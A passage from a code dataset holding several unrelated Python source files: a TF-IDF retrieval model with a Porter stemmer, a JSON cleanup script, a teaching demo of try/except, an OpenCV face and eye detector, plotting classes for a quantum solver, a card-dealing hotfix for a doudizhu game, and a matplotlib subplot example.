inverted_index[token] = [1, {doc_id: stem_token_list.count(token)}]\r\n else:\r\n inverted_index[token][0] += 1\r\n inverted_index[token][1][doc_id] = stem_token_list.count(token)\r\n return inverted_index\r\n\r\ndef retrieveDocuments(query, inverted_index, doc_vec_length, doc_weight, query_weight, use_tokenizer):\r\n if use_tokenizer == 'true':\r\n import nltk\r\n out_list = []\r\n\r\n if use_tokenizer == 'true':\r\n token_list = nltk.word_tokenize(query)\r\n else:\r\n token_list = query.split()\r\n stop_token_list = removeStopwords(token_list)\r\n stem_token_list = stemWords(stop_token_list)\r\n dot_product = 0\r\n query_doc_length = 0\r\n cos_sim = 0\r\n doc_set = set()\r\n token_set = set()\r\n ranking = {}\r\n query_list = {}\r\n token_weights = {}\r\n final_dict = {}\r\n\r\n for term in stem_token_list:\r\n if inverted_index.get(term, 0) != 0:\r\n #term is in index of words -->\r\n for each_doc in inverted_index[term][1]:\r\n doc_set.add(each_doc)\r\n token_set.add(term)\r\n if term not in query_list:\r\n query_list[term] = 1\r\n else:\r\n query_list[term] += 1\r\n\r\n #p(prob idf) = max{0, log (N-df_t)/df_t}\r\n\r\n #Calculate token weights of query in a dictionary\r\n for token in token_set:\r\n if inverted_index.get(token, 0) != 0:\r\n if(query_weight == 'tfidf'):\r\n #tf-idf of query token (TF * (IDF = N/df(document, term)))\r\n token_weights[token] = (query_list[token] * (math.log(150 / inverted_index[token][0], 10)))\r\n else:\r\n token_weights[token] = 0\r\n\r\n for each_doc in doc_set: #for each term in the query --> Sum of each weight for each doc\r\n cos_sim = 0\r\n for each_token in token_set:\r\n if inverted_index.get(each_token, 0) != 0:\r\n if inverted_index[each_token][1].get(each_doc, 0) != 0:\r\n #Query Word TF-IDF * Document TF-IDF\r\n cos_sim += token_weights[each_token] * ((math.log(150/ inverted_index[each_token][0], 10) * inverted_index[each_token][1][each_doc])) # tfidf Query Word * (tf * idf) Doc Word\r\n else:\r\n continue\r\n if doc_weight == 'tfidf':\r\n #Do final calculation for each document and rank them.\r\n ranking[each_doc] = round((cos_sim / (doc_vec_length[each_doc])), 5)\r\n\r\n out_list = sorted(ranking, key=ranking.__getitem__, reverse=True)\r\n for each_doc in out_list:\r\n final_dict[each_doc] = ranking[each_doc]\r\n #print(each_doc+1) \r\n\r\n return (final_dict)\r\n\r\n\r\n#Helper Function\r\ndef myFunc(e):\r\n return e['count']\r\n\r\n#Helper Function\r\ndef remove_from_list(token_list, string):\r\n res = [i for i in token_list if i != string] \r\n \r\n return res \r\n\r\n#Remove Stopwords\r\ndef removeStopwords(tokenlist):\r\n stop_list = []\r\n with open((\"stopwords\"), 'r') as my_file:\r\n fileText = my_file.read().replace(\"\\n\", \" \")\r\n stop_list = fileText.split()\r\n for stopword in stop_list:\r\n tokenlist = remove_from_list(tokenlist, stopword)\r\n return tokenlist\r\n\r\n\r\n#Stem our words using PorterStemmer\r\ndef stemWords(tokenlist):\r\n final_list = []\r\n stem = PorterStemmer()\r\n new_token = \"\"\r\n for token in tokenlist:\r\n new_token = stem.stem(token, 0, len(token)-1)\r\n final_list.append(new_token)\r\n\r\n return final_list\r\n \r\n\r\n\r\nclass PorterStemmer:\r\n\r\n def __init__(self):\r\n \"\"\"The main part of the stemming algorithm starts here.\r\n b is a buffer holding a word to be stemmed. The letters are in b[k0],\r\n b[k0+1] ... ending at b[k]. In fact k0 = 0 in this demo program. k is\r\n readjusted downwards as the stemming progresses. Zero termination is\r\n not in fact used in the algorithm.\r\n\r\n Note that only lower case sequences are stemmed. Forcing to lower case\r\n should be done before stem(...) is called.\r\n \"\"\"\r\n\r\n self.b = \"\" # buffer for word to be stemmed\r\n self.k = 0\r\n self.k0 = 0\r\n self.j = 0 # j is a general offset into the string\r\n\r\n def cons(self, i):\r\n \"\"\"cons(i) is TRUE <=> b[i] is a consonant.\"\"\"\r\n if self.b[i] == 'a' or self.b[i] == 'e' or self.b[i] == 'i' or self.b[i] == 'o' or self.b[i] == 'u':\r\n return 0\r\n if self.b[i] == 'y':\r\n if i == self.k0:\r\n return 1\r\n else:\r\n return (not self.cons(i - 1))\r\n return 1\r\n\r\n def m(self):\r\n \"\"\"m() measures the number of consonant sequences between k0 and j.\r\n if c is a consonant sequence and v a vowel sequence, and <..>\r\n indicates arbitrary presence,\r\n\r\n gives 0\r\n vc gives 1\r\n vcvc gives 2\r\n vcvcvc gives 3\r\n ....\r\n \"\"\"\r\n n = 0\r\n i = self.k0\r\n while 1:\r\n if i > self.j:\r\n return n\r\n if not self.cons(i):\r\n break\r\n i = i + 1\r\n i = i + 1\r\n while 1:\r\n while 1:\r\n if i > self.j:\r\n return n\r\n if self.cons(i):\r\n break\r\n i = i + 1\r\n i = i + 1\r\n n = n + 1\r\n while 1:\r\n if i > self.j:\r\n return n\r\n if not self.cons(i):\r\n break\r\n i = i + 1\r\n i = i + 1\r\n\r\n def vowelinstem(self):\r\n \"\"\"vowelinstem() is TRUE <=> k0,...j contains a vowel\"\"\"\r\n for i in range(self.k0, self.j + 1):\r\n if not self.cons(i):\r\n return 1\r\n return 0\r\n\r\n def doublec(self, j):\r\n \"\"\"doublec(j) is TRUE <=> j,(j-1) contain a double consonant.\"\"\"\r\n if j < (self.k0 + 1):\r\n return 0\r\n if (self.b[j] != self.b[j-1]):\r\n return 0\r\n return self.cons(j)\r\n\r\n def cvc(self, i):\r\n \"\"\"cvc(i) is TRUE <=> i-2,i-1,i has the form consonant - vowel - consonant\r\n and also if the second c is not w,x or y. this is used when trying to\r\n restore an e at the end of a short e.g.\r\n\r\n cav(e), lov(e), hop(e), crim(e), but\r\n snow, box, tray.\r\n \"\"\"\r\n if i < (self.k0 + 2) or not self.cons(i) or self.cons(i-1) or not self.cons(i-2):\r\n return 0\r\n ch = self.b[i]\r\n if ch == 'w' or ch == 'x' or ch == 'y':\r\n return 0\r\n return 1\r\n\r\n def ends(self, s):\r\n \"\"\"ends(s) is TRUE <=> k0,...k ends with the string s.\"\"\"\r\n length = len(s)\r\n if s[length - 1] != self.b[self.k]: # tiny speed-up\r\n return 0\r\n if length > (self.k - self.k0 + 1):\r\n return 0\r\n if self.b[self.k-length+1:self.k+1] != s:\r\n return 0\r\n self.j = self.k - length\r\n return 1\r\n\r\n def setto(self, s):\r\n \"\"\"setto(s) sets (j+1),...k to the characters in the string s, readjusting k.\"\"\"\r\n length = len(s)\r\n self.b = self.b[:self.j+1] + s + self.b[self.j+length+1:]\r\n self.k = self.j + length\r\n\r\n def r(self, s):\r\n \"\"\"r(s) is used further down.\"\"\"\r\n if self.m() > 0:\r\n self.setto(s)\r\n\r\n def step1ab(self):\r\n \"\"\"step1ab() gets rid of plurals and -ed or -ing. e.g.\r\n\r\n caresses -> caress\r\n ponies -> poni\r\n ties -> ti\r\n caress -> caress\r\n cats -> cat\r\n\r\n feed -> feed\r\n agreed -> agree\r\n disabled -> disable\r\n\r\n matting -> mat\r\n mating -> mate\r\n meeting -> meet\r\n milling -> mill\r\n messing -> mess\r\n\r\n meetings -> meet\r\n \"\"\"\r\n if self.b[self.k] == 's':\r\n if self.ends(\"sses\"):\r\n self.k = self.k - 2\r\n elif self.ends(\"ies\"):\r\n self.setto(\"i\")\r\n elif self.b[self.k - 1] != 's':\r\n self.k = self.k - 1\r\n if self.ends(\"eed\"):\r\n if self.m() > 0:\r\n self.k = self.k - 1\r\n elif (self.ends(\"ed\") or self.ends(\"ing\")) and self.vowelinstem():\r\n self.k = self.j\r\n if self.ends(\"at\"): self.setto(\"ate\")\r\n elif self.ends(\"bl\"): self.setto(\"ble\")\r\n elif self.ends(\"iz\"): self.setto(\"ize\")\r\n elif self.doublec(self.k):\r\n self.k = self.k - 1\r\n ch = self.b[self.k]\r\n if ch == 'l' or ch == 's' or ch == 'z':\r\n self.k = self.k + 1\r\n elif (self.m() == 1 and self.cvc(self.k)):\r\n self.setto(\"e\")\r\n\r\n def step1c(self):\r\n \"\"\"step1c() turns terminal y to i when there is another vowel in the stem.\"\"\"\r\n if (self.ends(\"y\") and self.vowelinstem()):\r\n self.b = self.b[:self.k] + 'i' + self.b[self.k+1:]\r\n\r\n def step2(self):\r\n \"\"\"step2() maps double suffices to single ones.\r\n so -ization ( = -ize plus -ation) maps to -ize etc. note that the\r\n string before the suffix must give m() > 0.\r\n \"\"\"\r\n if self.b[self.k - 1] == 'a':\r\n if self.ends(\"ational\"): self.r(\"ate\")\r\n elif self.ends(\"tional\"): self.r(\"tion\")\r\n elif self.b[self.k - 1] == 'c':\r\n if self.ends(\"enci\"): self.r(\"ence\")\r\n elif self.ends(\"anci\"): self.r(\"ance\")\r\n elif self.b[self.k - 1] == 'e':\r\n if self.ends(\"izer\"): self.r(\"ize\")\r\n elif self.b[self.k - 1] == 'l':\r\n if self.ends(\"bli\"): self.r(\"ble\") # --DEPARTURE--\r\n # To match the published algorithm, replace this phrase with\r\n # if self.ends(\"abli\"): self.r(\"able\")\r\n elif self.ends(\"alli\"): self.r(\"al\")\r\n elif self.ends(\"entli\"): self.r(\"ent\")\r\n elif self.ends(\"eli\"): self.r(\"e\")\r\n elif self.ends(\"ousli\"): self.r(\"ous\")\r\n elif self.b[self.k - 1] == 'o':\r\n if self.ends(\"ization\"): self.r(\"ize\")\r\n elif self.ends(\"ation\"): self.r(\"ate\")\r\n elif self.ends(\"ator\"): self.r(\"ate\")\r\n elif self.b[self.k - 1] == 's':\r\n if self.ends(\"alism\"): self.r(\"al\")\r\n elif self.ends(\"iveness\"): self.r(\"ive\")\r\n elif self.ends(\"fulness\"): self.r(\"ful\")\r\n elif self.ends(\"ousness\"): self.r(\"ous\")\r\n elif self.b[self.k - 1] == 't':\r\n if self.ends(\"aliti\"): self.r(\"al\")\r\n elif self.ends(\"iviti\"): self.r(\"ive\")\r\n elif self.ends(\"biliti\"): self.r(\"ble\")\r\n elif self.b[self.k - 1] == 'g': # --DEPARTURE--\r\n if self.ends(\"logi\"): self.r(\"log\")\r\n # To match the published algorithm, delete this phrase\r\n\r\n def step3(self):\r\n \"\"\"step3() dels with -ic-, -full, -ness etc. similar strategy to step2.\"\"\"\r\n if self.b[self.k] == 'e':\r\n if self.ends(\"icate\"): self.r(\"ic\")\r\n elif self.ends(\"ative\"): self.r(\"\")\r\n elif self.ends(\"alize\"): self.r(\"al\")\r\n elif self.b[self.k] == 'i':\r\n if self.ends(\"iciti\"): self.r(\"ic\")\r\n elif self.b[self.k] == 'l':\r\n if self.ends(\"ical\"): self.r(\"ic\")\r\n elif self.ends(\"ful\"): self.r(\"\")\r\n elif self.b[self.k] == 's':\r\n if self.ends(\"ness\"): self.r(\"\")\r\n\r\n def step4(self):\r\n \"\"\"step4() takes off -ant, -ence etc., in context vcvc.\"\"\"\r\n if self.b[self.k - 1] == 'a':\r\n if self.ends(\"al\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'c':\r\n if self.ends(\"ance\"): pass\r\n elif self.ends(\"ence\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'e':\r\n if self.ends(\"er\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'i':\r\n if self.ends(\"ic\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'l':\r\n if self.ends(\"able\"): pass\r\n elif self.ends(\"ible\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'n':\r\n if self.ends(\"ant\"): pass\r\n elif self.ends(\"ement\"): pass\r\n elif self.ends(\"ment\"): pass\r\n elif self.ends(\"ent\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'o':\r\n if self.ends(\"ion\") and (self.b[self.j] == 's' or self.b[self.j] == 't'): pass\r\n elif self.ends(\"ou\"): pass\r\n # takes care of -ous\r\n else: return\r\n elif self.b[self.k - 1] == 's':\r\n if self.ends(\"ism\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 't':\r\n if self.ends(\"ate\"): pass\r\n elif self.ends(\"iti\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'u':\r\n if self.ends(\"ous\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'v':\r\n if self.ends(\"ive\"): pass\r\n else: return\r\n elif self.b[self.k - 1] == 'z':\r\n if self.ends(\"ize\"): pass\r\n else: return\r\n else:\r\n return\r\n if self.m() > 1:\r\n self.k = self.j\r\n\r\n def step5(self):\r\n \"\"\"step5() removes a final -e if m() > 1, and changes -ll to -l if\r\n m() > 1.\r\n \"\"\"\r\n self.j = self.k\r\n if self.b[self.k] == 'e':\r\n a = self.m()\r\n if a > 1 or (a == 1 and not self.cvc(self.k-1)):\r\n self.k = self.k - 1\r\n if self.b[self.k] == 'l' and self.doublec(self.k) and self.m() > 1:\r\n self.k = self.k -1\r\n\r\n def stem(self, p, i, j):\r\n \"\"\"In stem(p,i,j), p is a char pointer, and the string to be stemmed\r\n is from p[i] to p[j] inclusive. Typically i is zero and j is the\r\n offset to the last character of a string, (p[j+1] == '\\0'). The\r\n stemmer adjusts the characters p[i] ... p[j] and returns the new\r\n end-point of the string, k. Stemming never increases word length, so\r\n i <= k <= j. To turn the stemmer into a module, declare 'stem' as\r\n extern, and delete the remainder of this file.\r\n \"\"\"\r\n # copy the parameters into statics\r\n self.b = p\r\n self.k = j\r\n self.k0 = i\r\n if self.k <= self.k0 + 1:\r\n return self.b # --DEPARTURE--\r\n\r\n # With this line, strings of length 1 or 2 don't go through the\r\n # stemming process, although no mention is made of this in the\r\n # published algorithm. Remove the line to match the published\r\n # algorithm.\r\n\r\n self.step1ab()\r\n self.step1c()\r\n self.step2()\r\n self.step3()\r\n self.step4()\r\n self.step5()\r\n return self.b[self.k0:self.k+1]\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"JakeHodgy/VectorModelProject","sub_path":"vectormodel.py","file_name":"vectormodel.py","file_ext":"py","file_size_in_byte":20552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"19957637658","text":"\"\"\"\nUsage:\npython3 pretty_json.py --in in.json --out out.json\n\"\"\"\n\nimport argparse\nimport json\nfrom tqdm import tqdm \n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--in-file\", type=str, required=True)\n parser.add_argument(\"--out-file\", type=str, required=True)\n args = parser.parse_args()\n\n with open(args.in_file, \"r\") as fin:\n data = json.load(fin)\n\n # remove instruction\n new_data = []\n for line in tqdm(data):\n if line['conversatons'][0]['from'] == 'human':\n line['conversatons'][0]['value'] = ''\n\n # import pdb; pdb.set_trace()\n new_data.append(line)\n\n\n with open(args.out_file, \"w\") as fout:\n json.dump(new_data, fout, indent=2)\n","repo_name":"LLaVA-VL/LLaVA-Med-preview","sub_path":"llava/data/remove_instructions.py","file_name":"remove_instructions.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"23"} +{"seq_id":"36659062174","text":"# Try-Except and Functions Demo\n# Mr. Scott\n# Dec 9, 2021\n\n# ask the user \"add\" or \"subtract\", then get two numbers and provide result\n\ndef add_numbers():\n# Get two values from user, and print out their sum\n\n while True: #equivalent of FOREVER loop\n try:\n number1 = input(\"Enter a number: \") ###what type of data???\n number1 = int(number1) #at this point, number1 is an INT (hopefully)\n break #exits the current loop\n except:\n print(\"Not a valid number, please try again...\")\n \n number2 = int(input(\"Enter a second number: \"))\n \n result = number1 + number2\n print(\"The sum is \" + str(result))\n \n \nchoice = input(\"would you like to ADD or SUBTRACT? \")\nif choice == \"ADD\":\n add_numbers()\n\n","repo_name":"stefan-scott/CS20-202122-Demos","sub_path":"04 Day Three Try-Except Demo.py","file_name":"04 Day Three Try-Except Demo.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"31388292224","text":"import cv2\nimport numpy as np\nimport math\n\nface_cascade = cv2.CascadeClassifier('/home/wenisch/OpenCV/opencv-3.0.0/data/haarcascades/haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('/home/wenisch/OpenCV/opencv-3.0.0/data/haarcascades/haarcascade_eye.xml')\n\nif face_cascade.empty():\n raise IOError('Unable to load the face cascade classifier xml file')\nif eye_cascade.empty():\n raise IOError('Unable to load the eye cascade classifier xml file')\n\ncap = cv2.VideoCapture(0)\nds_factor = 0.5\n\nwhile True:\n ret, frame = cap.read()\n frame = cv2.resize(frame, None, fx=ds_factor, fy=ds_factor, interpolation=cv2.INTER_AREA)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = face_cascade.detectMultiScale(gray, scaleFactor=1.3, minNeighbors=1)\n for (x,y,w,h) in faces:\n cv2.rectangle(frame, (x,y), (x+w, y+h), (255,0,0), 2)\n roi_gray = gray[y:y+h, x:x+w]\n eyes = eye_cascade.detectMultiScale(roi_gray)\n roi_color = frame[y:y+h, x:x+w]\n for(ex,ey,ew,eh) in eyes:\n cv2.rectangle(roi_color, (ex,ey),(ex+ew,ey+eh),(0,255,0),2)\n cv2.imshow('img',frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"reubenwenisch/Code4Bharat","sub_path":"eye_haar.py","file_name":"eye_haar.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"15940292123","text":"import matplotlib.pyplot as plt\n\n# from PyQt5 import QtWidgets\n\nfrom scipy import constants\n\nimport numpy as np\n\nfrom .fig_density import fig_density\n\nfrom .fig_density_x import fig_density_x\nfrom .fig_density_y import fig_density_y\n\nfrom .fig_real_part import fig_real_part\n\nfrom .fig_real_part_x import fig_real_part_x\nfrom .fig_real_part_y import fig_real_part_y\n\nfrom .fig_control_inputs import fig_control_inputs\n\nfrom qsolve.figures.style import colors\n\n\nclass FigureMain2D(object):\n\n def __init__(self, x, y, times, params):\n\n hbar = constants.hbar\n\n m_atom = params['m_atom']\n\n density_min = -0.2 * params[\"density_max\"]\n density_max = +1.2 * params[\"density_max\"]\n\n V_min = params['V_min']\n V_max = params['V_max']\n\n x = x / 1e-6\n y = y / 1e-6\n\n times = times / 1e-3\n\n Jx = x.shape[0]\n Jy = y.shape[0]\n\n dx = x[1] - x[0]\n dy = y[1] - y[0]\n\n x_min = x[0]\n y_min = y[0]\n\n x_max = x_min + Jx * dx\n y_max = y_min + Jy * dy\n \n t_min = times[0]\n t_max = times[-1]\n\n Jx = x.size\n Jy = y.size\n\n Lx = Jx * dx\n Ly = Jy * dy\n\n x_ticks = params['x_ticks']\n y_ticks = params['y_ticks']\n\n t_ticks_major = params['t_ticks']\n\n # -----------------------------------------------------------------------------------------\n t_ticks_minor = 0.5 * (t_ticks_major[0:-1] + t_ticks_major[1:])\n # -----------------------------------------------------------------------------------------\n\n # -----------------------------------------------------------------------------------------\n settings = type('', (), {})()\n\n settings.hbar = hbar\n settings.m_atom = m_atom\n\n settings.density_min = density_min\n settings.density_max = density_max\n\n settings.real_part_min = -1.2 * np.sqrt(settings.density_max)\n settings.real_part_max = +1.2 * np.sqrt(settings.density_max)\n\n settings.V_min = V_min\n settings.V_max = V_max\n\n # settings.indices_y_restr = indices_y_restr\n\n settings.x = x\n settings.y = y\n\n settings.Jx = Jx\n settings.Jy = Jy\n\n settings.x_ticks = x_ticks\n settings.y_ticks = y_ticks\n\n settings.x_min = x_min\n settings.x_max = x_max\n\n settings.y_min = y_min\n settings.y_max = y_max\n\n settings.times = times\n\n settings.t_min = t_min\n settings.t_max = t_max\n\n settings.t_ticks_major = t_ticks_major\n settings.t_ticks_minor = t_ticks_minor\n\n # settings.label_V = r'$V \\;\\, \\mathrm{in} \\;\\, h \\times \\mathrm{kHz}$'\n settings.label_V = r'$h \\times \\mathrm{kHz}$'\n settings.linecolor_V = colors.alizarin\n settings.linewidth_V = 1.1\n\n # settings.label_density = r'$\\mathrm{density} \\;\\, \\mathrm{in} \\;\\, \\mathrm{m}^{-2}$'\n settings.label_density = r'$\\mathrm{m}^{-2}$'\n\n settings.label_x = r'$x \\;\\, \\mathrm{in} \\;\\, \\mu \\mathrm{m}$'\n settings.label_y = r'$y \\;\\, \\mathrm{in} \\;\\, \\mu \\mathrm{m}$'\n\n settings.label_t = r'$t \\;\\, \\mathrm{in} \\;\\, \\mathrm{ms}$'\n\n settings.cmap_density = colors.cmap_density\n\n settings.cmap_real_part = colors.cmap_real_part\n\n settings.color_gridlines_major = colors.color_gridlines_major\n settings.color_gridlines_minor = colors.color_gridlines_minor\n\n settings.fontsize_titles = 10\n # -----------------------------------------------------------------------------------------\n\n # -----------------------------------------------------------------------------------------\n plt.rcParams.update({'font.size': 10})\n # -----------------------------------------------------------------------------------------\n\n # -----------------------------------------------------------------------------------------\n self.fig_name = \"figure_main\"\n\n self.fig = plt.figure(self.fig_name, figsize=(14, 8), facecolor=\"white\")\n # -----------------------------------------------------------------------------------------\n\n # -----------------------------------------------------------------------------------------\n if Ly > Lx:\n\n width_ratios = [1.25, 1, 2]\n\n elif Ly < Lx:\n\n width_ratios = [1, 1.25, 2]\n\n else:\n\n width_ratios = [1, 1, 2]\n\n self.gridspec = self.fig.add_gridspec(nrows=4, ncols=3,\n left=0.055, right=0.985,\n bottom=0.08, top=0.95,\n wspace=0.35,\n hspace=0.7,\n width_ratios=width_ratios,\n height_ratios=[1, 1, 1, 1])\n\n ax_00 = self.fig.add_subplot(self.gridspec[0, 0])\n ax_10 = self.fig.add_subplot(self.gridspec[1, 0])\n ax_20 = self.fig.add_subplot(self.gridspec[2, 0])\n ax_30 = self.fig.add_subplot(self.gridspec[3, 0])\n\n ax_11 = self.fig.add_subplot(self.gridspec[1, 1])\n ax_31 = self.fig.add_subplot(self.gridspec[3, 1])\n\n ax_02 = self.fig.add_subplot(self.gridspec[0, 2])\n # -----------------------------------------------------------------------------------------\n\n # -----------------------------------------------------------------------------------------\n self.fig_density = fig_density(ax_00, settings)\n\n self.fig_density_y = fig_density_y(ax_10, settings)\n\n self.fig_real_part = fig_real_part(ax_20, settings)\n\n self.fig_real_part_y = fig_real_part_y(ax_30, settings)\n\n\n self.fig_real_part_x = fig_real_part_x(ax_31, settings)\n\n\n self.fig_density_x = fig_density_x(ax_11, settings)\n\n\n\n self.fig_control_inputs = fig_control_inputs(ax_02, settings)\n # -----------------------------------------------------------------------------------------\n\n # -----------------------------------------------------------------------------------------\n plt.ion()\n \n plt.draw()\n plt.pause(0.001)\n # -----------------------------------------------------------------------------------------\n\n def update_data(self, data):\n\n self.fig_density.update(data.density)\n\n self.fig_density_x.update(data.density_x, data.V_x)\n self.fig_density_y.update(data.density_y, data.V_y)\n\n self.fig_real_part.update(data.psi)\n\n self.fig_real_part_x.update(data.real_part_x, data.imag_part_x, data.V_x)\n\n self.fig_real_part_y.update(data.real_part_y, data.imag_part_y, data.V_y)\n\n def redraw(self):\n\n # plt.figure(self.fig_name)\n #\n # plt.draw()\n #\n # self.fig.canvas.start_event_loop(0.001)\n\n # -----------------------------------------------------------------------------------------\n # drawing updated values\n self.fig.canvas.draw()\n\n # This will run the GUI event\n # loop until all UI events\n # currently waiting have been processed\n self.fig.canvas.flush_events()\n\n # time.sleep(0.1)\n # -----------------------------------------------------------------------------------------\n\n def export(self, filepath):\n\n plt.figure(self.fig_name)\n\n plt.draw()\n\n self.fig.canvas.start_event_loop(0.001)\n\n plt.savefig(filepath,\n dpi=None,\n facecolor='w',\n edgecolor='w',\n format='png',\n transparent=False,\n bbox_inches=None,\n pad_inches=0,\n metadata=None)\n","repo_name":"jfmennemann/qsolve","sub_path":"src/qsolve/figures/figures_2d/figure_main_2d/figure_main_2d.py","file_name":"figure_main_2d.py","file_ext":"py","file_size_in_byte":7792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"6670049008","text":"# -*- coding=utf-8 -*-\n\"\"\"\nCreated on 2017年8月31日\n\n@author: wangjifa\n\"\"\"\nimport random\nimport freetime.util.log as ftlog\nfrom dizhu.gamecards import dizhu_card_quicklaizi\n\n# 原有火箭加飞机\n@classmethod\ndef DDZDealCard_GoodSeatA(cls, seatId, config):\n if seatId > 0: # seatId传入时应为1-3,下标为0-2.\n seatId -= 1\n seatId = min(2, seatId)# 容错\n\n pool = cls.getQuickPokerList()\n # 手牌\n card = [[], [], []]\n # 手牌数量\n curCardNum = 0\n # 好牌的定义:\n # 1. 'RAND_JOKER1'%的概率给大王\n # 2. 'RAND_JOKER2'%的概率给小王\n # 3. 从1和'RAND_TWO'中随机给2\n # 4. 'RAND_FEIJI'%的概率发一个飞机\n\n # 大王\n rand_joker1 = config['RAND_JOKER1'] if (config.has_key('RAND_JOKER1')) else 90\n r = random.randrange(0, 100, 1)\n if r < rand_joker1: # 大王的概率\n # print \"得到大王\"\n card[seatId].append(53)\n del pool[11][0] # 删除池中的大王\n curCardNum += 1\n\n # 小王\n rand_joker2 = config['RAND_JOKER2'] if (config.has_key('RAND_JOKER2')) else 80\n r = random.randrange(0, 100, 1)\n if r < rand_joker2: # 小王的概率\n # print \"得到小王\"\n card[seatId].append(52)\n del pool[10][0] # 删除池中的小王\n curCardNum += 1\n\n # 发2\n rand_two = config['COUNT_TWO'] if (config.has_key('COUNT_TWO')) else 2\n n = random.randrange(1, rand_two + 1, 1)\n for i in range(0, n):\n # print \"得到一张 '2'\"\n card[seatId].append(pool[9][0]) # 按花色顺序放2\n del pool[9][0]\n curCardNum += n\n\n # 发飞机\n rand_feiji = config['RAND_FEIJI'] if (config.has_key('RAND_FEIJI')) else 40\n r = random.randrange(0, 100, 1)\n\n if ftlog.is_debug():\n ftlog.debug('QuickLaiZiSendCardsPolicy.DDZDealCard_GoodSeatA [over J j 2] r=', r,\n 'rand_feiji=', rand_feiji,\n 'pool=', pool,\n 'card=', card)\n\n if r < rand_feiji:\n # 发6-K飞机\n # plane = random.randrange(0, 7) # 飞机起点(6-K)\n # # print \"飞机: '%s' to '%s'\"%(self.getPointByPos(plane), self.getPointByPos(plane+1))\n # for i in range(0, 2):\n # for j in range(0, 3):\n # card[seatId].append(pool[plane + i][0])\n # del pool[plane + i][0]\n # curCardNum += 6\n\n # 发6-K的随机2个三条\n for i in range(0,2):\n r = random.randrange(0, 100, 1) % 9\n while len(pool[r]) < 3:\n r = (r + 1) % 9\n for j in range(0, 3):\n card[seatId].append(pool[r][0])\n del pool[r][0]\n curCardNum += 6\n else:\n pass\n # print \"没有飞机\"\n\n if ftlog.is_debug():\n ftlog.debug('QuickLaiZiSendCardsPolicy.DDZDealCard_GoodSeatA [over feiji] r=', r,\n 'pool=', pool,\n 'card=', card)\n\n # 再给非好牌的座位 一人一个三张\n for i in range(0, 3):\n if i == seatId:\n continue\n r = random.randrange(0, 100, 1) % 9\n while len(pool[r]) < 3:\n r = (r + 1) % 9\n for j in range(0, 3):\n card[i].append(pool[r][0])\n del pool[r][0]\n\n if ftlog.is_debug():\n ftlog.debug('QuickLaiZiSendCardsPolicy.DDZDealCard_GoodSeatA [over xxx] r=', r,\n 'pool=', pool,\n 'card=', card)\n\n # 还剩下5个4张\n # 再随机每人两个对子\n duicount = config['COUNT_DUI'] if (config.has_key('COUNT_DUI')) else 2\n for i in range(0, 3):\n for j in range(0, duicount):\n\n if len(card[i]) > 11:\n continue\n\n # print \"得到一个对子\"\n r = random.randrange(0, 100, 1) % 9\n while len(pool[r]) < 2:\n r = (r + 1) % 9\n for k in range(0, 2):\n card[i].append(pool[r][0])\n del pool[r][0]\n\n if ftlog.is_debug():\n ftlog.debug('QuickLaiZiSendCardsPolicy.DDZDealCard_GoodSeatA [over 2pair] r=', r,\n 'pool=', pool,\n 'card=', card)\n\n # 整理剩下的牌,随机发出\n left = []\n for arr in pool:\n for c in arr:\n left.append(c)\n random.shuffle(left)\n for i in range(0, 3):\n while len(card[i]) < 13:\n card[i].append(left[0])\n del left[0]\n\n card.append(left)\n return card\n\ndizhu_card_quicklaizi.CardDizhuQuickLaiZi.DDZDealCard_GoodSeatA = DDZDealCard_GoodSeatA\n\n","repo_name":"luningcowboy/tuyoo","sub_path":"dizhu/src/dizhu/hotfix/h_20170831_quick_laizi.py","file_name":"h_20170831_quick_laizi.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"34192393962","text":"'''\n@author: Sergio Rojas\n@contact: rr.sergio@gmail.com\n--------------------------\nContenido bajo\n Atribución-NoComercial-CompartirIgual 3.0 Venezuela (CC BY-NC-SA 3.0 VE)\n http://creativecommons.org/licenses/by-nc-sa/3.0/ve/\n\nCreado en abril 23, 2016\n'''\n\nimport matplotlib.pyplot as plt\n\nx = [1.5, 2.7, 3.8, 9.5,12.3]\ny = [3.8,-2.4, 0.35,6.2,1.5]\n\nfig = plt.figure()\n#---\nax1 = fig.add_subplot(1, 2, 1)\nax1.set_title('Etiqueta de la grafica 1', fontsize = 10)\nax1.set_xlabel('Etiqueta del eje x1', fontsize = 12)\nax1.set_ylabel('Etiqueta del eje y1', fontsize = 15)\nax1.plot(x, y, 'ro', label='y Vs x')\nax1.legend(loc='best')\n#---\nax2 = fig.add_subplot(1, 2, 2)\nax2.plot(y, x, 'bx-', label='x Vs y', markersize=20, linewidth=2)\nax2.set_title('Etiqueta de la grafica 2', fontsize = 10)\nax2.set_xlabel('Etiqueta del eje x2', fontsize = 12)\nax2.set_ylabel('Etiqueta del eje y2', fontsize = 